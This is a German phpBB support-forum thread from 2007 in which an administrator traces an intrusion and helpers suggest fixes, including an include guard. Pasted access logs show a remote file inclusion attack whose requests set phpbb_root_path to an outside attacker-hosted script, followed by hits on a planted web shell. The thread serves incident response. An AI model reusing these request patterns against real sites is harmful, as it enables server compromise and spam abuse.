Scripte im Files Verzeichnis…

Beitrag von **Diggi** » Mo 26.Nov, 2007 09:33

Scripte im Files Verzeichnis…

Ich hatte gestern ein Script das Massenmails verschickte im Files Verzeichnis.
Heute morgen lag ein anderes Script dort vor.
Ich schicke die Datei mal mit.

Wie kommen die Scripte da rein?
Gibt es Wege um das zu unterbinden?

[ Attachment gelöscht am Mo 26.Nov, 2007 10:11 von oxpus ]

Beitrag von **oxpus** » Mo 26.Nov, 2007 10:11

Das sieht nach einem erfolgreichen Hack aus!
Du solltest sofort ALLE Kennwörter ändern und mittels .htaccess auch den Zugang zum Forum sperren.
Sicherer auch alle Dateien und die Datenbank und suche nach weiteren Fehlern.

Die Datei habe ich hier auch gleich mal entfernt, nicht daß die noch jemand anderes missbraucht.

Beitrag von **Diggi** » Mo 26.Nov, 2007 10:20

Andere Fehler sind nicht zu erkennen, das Forum läuft wie es soll!
Ist das nur scheinbar und es kann jeden Moment vorbei sein?

Alle Kennwörter ändern ist ja kein Problem aber den Zugang
zum Forum sperren und dann?
Ich sperre es mal bis morgen und gehe dann wieder mit neuen Kennwörtern
online.

Beitrag von **oxpus** » Mo 26.Nov, 2007 13:42

Wenn solche Dateien hochgeladen werden, gibt es 2 Möglichkeiten:
Du hast MODs, die das ermöglichen (Attachment MOD / Download MOD). Dann würde ich genau hier die Einstellungen zu den Dateiendungen mal genau untersuchen.
Es wurde wirklich das Board gehackt. Dann ist äusserste Vorsicht und höchste Aufmerksamkeit nach dem wieder öffnen angesagt!

Beitrag von **Diggi** » Mo 26.Nov, 2007 14:24

Ich habe ein Plusboard, also mit Attachment MOD ich denke ein Download MOD
den wir nicht brauchen wird wohl auch integriert sein.

Hast Du einen Plan wonach ich suchen sollte, in welchen Dateien??

Bin momentan ein bissel hilfslos.

Beitrag von **oxpus** » Mo 26.Nov, 2007 16:32

Nicht in welchen Dateien, die sind schon alle sicher, sondern eher, wer die Datei auf den Server gepackt hat.
Wenn die Datei im Ordner files/ enthalten ist/war, dann wohl mit dem Attachment MOD.
Also mal die Beiträge durchgehen, wo diese Datei gepostet wurde...

Beitrag von **Diggi** » Di 27.Nov, 2007 10:00

Ich konnte nichts darüber finden das jemand intern .php dateien gepostet hätte.
Im Attachmentkontrollzentrum wo ich alle Attachments auflisten kann ist über eine
.php datei nichts zu sehen.

Ich habe mal probiert eine .php datei hochzuladen das geht nicht, da kommt eine Fehlermeldung.
Aber da die Scripte im Filesverzeichnis und Unterverzeichnis /thumbs/ liegen ist ein Zusammenhang
mit Attachment denkbar.

Also bleibt die Frage wie kommen die Scripte dort rein?

Im Moment nutze ich ein Suchscript, damit spüre ich fremde Scripts schnall auf und kann sie
gleich löschen. Ist nicht viel aber wenigstens etwas.
Man könnte die Scripts ja auch per Chron-Jobs alle 30 Min. löschen lassen aber dann weiß
man ja nicht mehr was für Scripte da eingeschläust wurden.
Oder ist das erst einmal unwichtig. hauptsache die Scripte sind weg?

Oxpus, kannst mal sagen was das Script was ich mitgeschickt habe anrichtet.
Geht es nur um Massenmails oder auch um Schaden am Forum?

Beitrag von **oxpus** » Di 27.Nov, 2007 12:45

Im Moment nutze ich ein Suchscript, damit spüre ich fremde Scripts schnall auf und kann sie
gleich löschen. Ist nicht viel aber wenigstens etwas.

Wenn doch immer wieder Scripte auftauchen, die eigentlich nichts im Forum zu suchen haben, muss man von einem Hacker ausgehen, der die Dir auf den Server ablegt.
Eine andere Möglichkeit sehe ich hier nicht.

Daher:
Alle Passwörter sofort ändern, also FTP, Forum, Admin, Datenbank, etc., sobald fremde Scripte auftauchen, um weitere Übergriffe zunächst abzuwehren.
Dabei sollte man aber auch alle installierten MODs prüfen und auch den Webserver, Datenbank und PHP immer aktuell halten.
Oft genug sind gerade die Programme und Dienste auf dem Server selber ein beliebtes Einfallstor, um Fremdscripte abzulegen und diese auszuführen.
Mögliche Konsequenzen daraus brauche ich ja wohl nicht zu nennen.

Merke:
Jedes Script, was nichts im Forum oder auf den Server zu suchen hat und Dir fremd vorkommt, sollte mit "Alarmstufe 1a rot blinkend" behandelt werden!

Beitrag von **Max** » Di 27.Nov, 2007 12:57

[quote="oxpus";p="79505"]Daher:
Alle Passwörter sofort ändern, also FTP, Forum, Admin, Datenbank, etc., sobald fremde Scripte auftauchen, um weitere Übergriffe zunächst abzuwehren.[/quote]

Und zusätzlich würde ich prüfen:

- gibt es einen (oder mehrere FTP-Benutzer); wenn das gewollt ist, die Passwörter ändern und wenn es nicht gewollt ist, müssen die weg. Außerdem, bei nicht gewollt ist der nächste Punkt sehr wichtig.

- sind die Passworte für die generelle Space-/Server- Verwaltung sicher (bei allinkl.com z.B. das KAS, oder halt auch confixx udgl.) und dort so oder so das PW ändern

Gruß Max

Beitrag von **Diggi** » Di 27.Nov, 2007 13:41

Laut Logfile scheint die datei „lang_main_album.php“ eine Sicherheitslücke zu haben.
Ist da etwas bekannt drüber?

Ich habe aber jetzt keine Ahnung was ich tun muss um die Lücke zu schließen.

Das Album schein auch gehackt zu sein, jedenfalls sieht das unten bei „Powert by“
etwas anders aus wie gewohnt.

Beitrag von **Max** » Di 27.Nov, 2007 14:04

Jepp, die Lücke ist bekannt und wurde hier, wie auf verschiedenen anderen Foren, diskutiert.

Schließen kann man sie, indem man in der lang_main_album.php das Includieren anderer Files absichert.
Besser wäre aber noch, den include heraus zu nehmen und die relevanten Zeilen aus der includierten Datei dort rein zu setzen.

Beitrag von **oxpus** » Di 27.Nov, 2007 14:08

Laut Logfile scheint die datei „lang_main_album.php“ eine Sicherheitslücke zu haben.
Ist da etwas bekannt drüber?

Wie kommst Du darauf?

Das Album schein auch gehackt zu sein, jedenfalls sieht das unten bei „Powert by“
etwas anders aus wie gewohnt.

Das lässt sich aus den Original-Dateien wieder herstellen.

Beitrag von **Max** » Di 27.Nov, 2007 14:16

Hier mal etwas Genaueres zum Thema Album und Lücke: http://www.nnseek.com/e/mailing.unix.bu ... l#43200442

Mindestens ist das hier nötig:

in dem File das hier einsetzen:

Code: Alles auswählen

if ( !defined('IN_PHPBB') ) 
{ 
   die("Hacking attempt"); 
}

Ansonsten ist es wirklich besser den include heraus zu nehmen und die Zeilen aus der anderen Datei dort reinzusetzen.

Beitrag von **Diggi** » Di 27.Nov, 2007 16:08

Danke erst mal für die schnellen Antworten.

1.)
http://www.oxpus.de/viewtopic.php?t=780 ... gmainalbum

Kann ich den wie in #2 dort eingestellten Code so einbauen oder ist das noch nicht sicher?

2.)

[quote="oxpus";p="79516"]

Laut Logfile scheint die datei „lang_main_album.php“ eine Sicherheitslücke zu haben.
Ist da etwas bekannt drüber?

Wie kommst Du darauf?

[/quote]
Habe im Logfile nach =http gesucht.
Die "lang_main-album.php" steht in verbindung mit Scriptdatum.

Ich stelle nachher mal den Ausschnitt aus dem Logfile hier rein.

3.)

[quote="Max";p="79518"]
Hier mal etwas Genaueres zum Thema Album und Lücke: http://www.nnseek.com/e/mailing.unix.bu ... l#43200442

Mindestens ist das hier nötig:

in dem File das hier einsetzen:

Code: Alles auswählen

if ( !defined('IN_PHPBB') ) 
{ 
   die("Hacking attempt"); 
}

Ansonsten ist es wirklich besser den include heraus zu nehmen und die Zeilen aus der anderen Datei dort reinzusetzen.
[/quote]

An welche stelle einsetzen?

4.)

Ansonsten ist es wirklich besser den include heraus zu nehmen und die Zeilen aus der anderen Datei dort reinzusetze

Kannst das genauer beschreiben was zu tun ist.

Aber falls das unter 1.) geht und dadurch die Lücke geschlossen ist kann ich das ja machen.

Beitrag von **Max** » Di 27.Nov, 2007 16:48

zu 1.) das geht auch, aber die lang_admin_album.php ist eigentlich nicht betroffen.
Wenn doch (das kannst Du selber durchsuchen - einfach nach einem include - Befehl darin suchen), dann genau so.
Dann hat sich übrigens Punkt 3.) erübrigt.

ansonsten reicht Punkt 3.)
Und dann hinter <?php einsetzen.

Punkte 1.) oder 3.) machen das nicht mehr nötig.
Schöner ist es trotzdem.

Einfach die Zeilen aus dem includierten File (den Namen findest Du im Inclide-Befehl) in die lang_main_album setzen.
Natürtlich ohne <?php und ?> und natürlich aus der lang_main_album.php den Include-Befehl komplett herausnehmen.
Damit wären dann die Punkte 1.) oder 3.) erübrigt.

Beitrag von **Diggi** » Di 27.Nov, 2007 18:55

1.)

Laut Logfile scheint die datei „lang_main_album.php“ eine Sicherheitslücke zu haben.
Ist da etwas bekannt drüber?

Wie kommst Du darauf?

Hier ein paar Zeilen auf einem Logfile.

Code: Alles auswählen

196.206.83.18 - - [25/Nov/2007:01:40:50 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt? HTTP/1.1" 200 8005 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:51 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=home HTTP/1.1" 200 209 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:51 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=back HTTP/1.1" 200 119 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:51 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=up HTTP/1.1" 200 199 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:51 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=forward HTTP/1.1" 200 119 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:52 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=refresh HTTP/1.1" 200 200 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:52 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=search HTTP/1.1" 200 250 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:52 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=buffer HTTP/1.1" 200 163 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
196.206.83.18 - - [25/Nov/2007:01:40:52 +0100] "GET /eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http%3A%2F%2Fmembres.lycos.fr%2Fbouzbouz00%2Ferror.txt%3F&act=img&img=sort_asc HTTP/1.1" 200 85 "http://eaf-forum.de/eaf-forum-1816/language/lang_german/lang_main_album.php?phpbb_root_path=http://membres.lycos.fr/bouzbouz00/error.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"

2.)

Das Album schein auch gehackt zu sein, jedenfalls sieht das unten bei „Powert by“
etwas anders aus wie gewohnt.

Das lässt sich aus den Original-Dateien wieder herstellen.

Welche Dateien wären das?

Beitrag von **oxpus** » Di 27.Nov, 2007 20:06

zu 1: Ja, ist bekannt diese Lücke. Solange Du dort wie an anderen Stellen bereits beschrieben, nichts anderes ausser lang-Files includierst, ist alles i. O.
Zur Sicherheit kann man aber auch die Inhalte der lang_album_hierarchy.php direkt in die lang_album_main.php packen, um komplett abzudichten, ist aber in der Regel nur dann nötig, wenn es Probleme mit den Sprachfiles selber gibt. Also dann im Album.

zu 2: Fast alle Album Template-Dateien. Leider...

Beitrag von **Diggi** » Do 29.Nov, 2007 14:47

Ich hab den von Max geposteten Code in die „lang_main_album.php“ eingesetzt.
böse Scripte hatte ich seitdem nicht mehr.

Ich habe heute eine Datei „1.txt“ im Hauptverzeichnis vom Forum entdeckt.
Ist da u.U. wieder einer am kratzen vielleicht auch an anderen Stellen?

Ich schicke mal zur Info einen Auszug aus dem Logfile mit.

Code: Alles auswählen

212.118.19.90 - - [28/Nov/2007:15:00:44 +0100] "POST /eaf-forum-1816/class3.php HTTP/1.1" 200 9866 "http://eaf-forum.de/eaf-forum-1816/class3.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
212.118.19.90 - - [28/Nov/2007:15:01:06 +0100] "GET /eaf-forum-1816/1.txt? HTTP/1.1" 200 6851 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/fisubsilversh.css HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/includes/toggle_display.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/includes/javascript/ajax_core.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/phpbb2_logo.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/images/banner/eaf-logo-mitte.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/phpbb2_logor.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/images/spacer.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:39 +0100] "GET /eaf-forum-1816/index.php HTTP/1.1" 200 61210 "http://www.eaf-forum.de" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic_bkg.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic_nav.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_l.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_m.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/tb4_r.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:40 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_down_arrow.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_calendar.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_tiny_profile.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic3.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_global_announce.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/spacer.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_latest_reply.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/includes/javascript/ajax_forumfunctions.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/link_folder.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cat_folder_big.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minipost.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic1.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minilink.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/cellpic2.jpg HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/icon_minicat.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_lock.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/whosonline.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/images/folder_new.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:01:41 +0100] "GET /eaf-forum-1816/ctracker/images/cback_ctracker_mini.gif HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
208.53.138.28 - - [28/Nov/2007:15:02:28 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:32 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:33 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:33 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:34 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:34 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:35 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:36 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:37 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:37 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:38 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:38 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:39 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:40 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:40 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:41 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:42 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:42 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:43 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
208.53.138.28 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/1.txt HTTP/1.0" 200 6851 "-" "-"
212.185.163.66 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/templates/fisubsilversh/fisubsilversh.css HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
212.185.163.66 - - [28/Nov/2007:15:02:44 +0100] "GET /eaf-forum-1816/includes/toggle_display.js HTTP/1.1" 304 - "http://www.eaf-forum.de/eaf-forum-1816/index.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
